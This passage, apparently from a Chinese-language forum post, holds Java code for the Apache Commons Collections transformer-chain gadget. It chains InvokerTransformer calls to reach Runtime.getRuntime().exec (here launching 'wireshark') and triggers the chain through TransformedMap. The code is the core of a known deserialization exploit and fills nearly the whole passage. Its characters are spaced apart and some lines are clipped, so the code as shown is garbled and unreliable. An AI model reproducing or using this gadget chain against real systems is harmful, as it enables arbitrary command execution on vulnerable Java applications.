]   t r a n s f o r m e r s _ e x e c   =   n e w   T r a n s f o r m e r [ ] { 1 3 .                                   n e w   C o n s t a n t T r a n s f o r m e r ( R u n t i m e . c l a s s ) , 1 4 .                                   n e w   I n v o k e r T r a n s f o r m e r ( " g e t M e t h o d " , n e w   C l a s s [ ] { S t r i n g . c l a s s , C l a s s [ ] . c l a s s } , n e w   O b j e c t [ ] { " g e t R u n t i m e " 1 5 .                                   n e w   I n v o k e r T r a n s f o r m e r ( " i n v o k e " , n e w   C l a s s [ ] { O b j e c t . c l a s s ,   O b j e c t [ ] . c l a s s } , n e w   O b j e c t [ ] { n u l l 1 6 .                                   n e w   I n v o k e r T r a n s f o r m e r ( " e x e c " , n e w   C l a s s [ ] { S t r i n g . c l a s s } , n e w   O b j e c t [ ] { " w i r e s h a r k " } ) 1 7 .                   } ; 1 9 .                   T r a n s f o r m e r   c h a i n   =   n e w   C h a i n e d T r a n s f o r m e r ( t r a n s f o r m e r s _ e x e c ) ; 2 1 .                   H a s h M a p   i n n e r M a p   =   n e w   H a s h M a p ( ) ; 2 2 .                   i n n e r M a p . p u t ( " v a l u e " , " a s d f " ) ; 2 4 .                   M a p   o u t e r M a p   =   T r a n s f o r m e d M a p . d e c o r a t e ( i n n e r M a p , n u l l , c h a i n ) ; 2 5 .                   o u t e r M a p . p u t ( " n a m e " , " a x i n " ) ; 2 6 .           } 2 7 .   }
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则